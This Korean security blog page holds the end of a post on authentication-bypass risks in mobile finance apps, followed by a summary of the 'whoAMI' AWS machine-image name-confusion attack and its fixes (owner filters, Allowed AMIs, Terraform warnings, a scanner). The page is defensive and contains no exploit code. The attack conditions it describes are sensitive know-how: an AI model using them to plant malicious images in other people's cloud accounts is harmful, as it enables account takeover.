- 하나의 인증 수단 뿐만 아니라 전체 인증 절차를 연계하는 과정에서도 요구사항을 충족하는지 검증 및 보완

인증 우회 취약점 분석 및 대응

- 불가피한 사유로 인증 우회 취약점이 남아있거나 기능 수정 등을 통해 새롭게 발생 가능

- 주기적인 취약점 분석과 모의해킹을 통해 잠재 위협을 제거

- 대목적을 두고 공격 방식의 제한없이 수행하는 모의해킹을 통해 위협을 식별

[사진 3] 대응방안 요약

2.6 결론

- 모바일 앱을 통한 금융 서비스 이용이 보편화되면서 비대면 신원 확인의 중요성이 증가

- 하나의 인증 수단이 우회되어도, 다른 인증 수단으로 신원을 확인하여 부정 행위를 차단할 수 있도록 복합적인 인증 절차가 정확히, 제대로 구현되어야 함

3.참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11640
[2] https://www.dailysecu.com/news/articleView.html?idxno=164205

1. 개요

- 아마존 웹 서비스 (AWS)에서 새로운 유형의 네임 혼동 (Name Confusion) 공격 ‘whoAMI’를 발견 [1]

- 아마존 머신 이미지 (Amazon Machine Image, AMI)의 이름 혼동을 악용해 원격 코드 실행을 통해 AWS 계정에 침투할 수 있음

- 개발자가 AWS에서 AMI를 검색할 때 ‘소유자 (owner)’ 속성을 지정하지 않을 경우, 공격자가 악성 AMI를 통해 피해자의 계정에 침투할 수 있음

2. 주요 내용

- 누구나 카탈로그에 AMI를 게시할 수 있음

> 사용자는 owners 속성을 지정해 AMI 게시자에 대한 정보를 확인할 수 있으며, 해당 속성을 지정하는 것은 중요함

"describe-images" 명령에서 "--소유자" 매개변수를 생략하면 소유권에 관계없이 실행 권한이 있는 모든 이미지가 반환됩니다.

[사진 1] API 호출 시 owners 속성을 생략한 경우에 대한 경고

- owners로 허용되는 값

※ --owners 속성을 표의 값과 함께 사용하면 whoAMI 이름 혼동 공격에 취약하지 않음

구분 설명
self - 요청을 하는 AWS 계정과 동일한 AWS 계정에 호스팅된 자체 개인 AMI
AN_ACCOUNT_ID - 지정된 AWS 계정의 AMI
- Canonical, Amazon, Microsoft, RedHat 등과 같은 주요 AMI 제공업체의 잘 알려진 계정 ID이 있음
amazon - 인증된 계정에서 제공되는 AMI
aws-marketplace - AWS Marketplace의 일부인 AMI
> AWS Marketplace : 고객이 타사 소프트웨어를 검색/구매/배포/관리하는 데 사용할 수 있는 큐레이팅된 디지털 카탈로그

 

- owners 값이 생략된 경우 AMI ID를 찾는 과정

[사진 2] 과정 요약

- 공격자는 [사진 2]를 악용해 다음과 같이 공격을 진행

[사진 3] 악용 과정

[영상 1] 공격 시연 영상

- 다음 조건이 충족되면 공격에 쉽게 노출

name 필터만 사용

> owner, owner-alias, owner-id 등의 파라미터를 지정하지 않을 경우

'most_recent=true' 옵션 사용

> 최신 이미지를 자동으로 선택하도록 설정한 경우

자동화된 이미지 검색

> Terraform과 같은 IaC (Infrastructure as Code) 도구가 최신 이미지를 자동으로 선택하도록 설정한 경우

 

- AWS 및 HashiCorp (Terraform 개발사)의 대응

① AWS : Allowed AMIs

>  신뢰할 수 있는 AMI만 사용할 수 있도록 허용 목록을 설정할 수 있는 보안 통제 장치

② HashiCorp : ‘most_recent=true’ 옵션 관련 보안 강화

> owner 필터 없이 사용할 경우 경고 메시지를 출력하도록 조치

> 25년 출시되는 Terraform 6.0.0 버전부터는 경고를 오류로 격상할 예정

 

- DataDog은 whoAMI 스캐너 공개 [3]

> 현재 실행 중인 EC2 인스턴스를 감사

> 공개 계정과 검증되지 않은 계정 모두에서 실행된 AMI가 있는지 알려줌

[사진 4] whoAMI 스캐너

3. 참고

[1] https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/
[2] https://www.youtube.com/watch?v=l-WEXFJd-Bo
[3] https://github.com/DataDog/whoAMI-scanner
[4] https://www.dailysecu.com/news/articleView.html?idxno=163773

+ Recent posts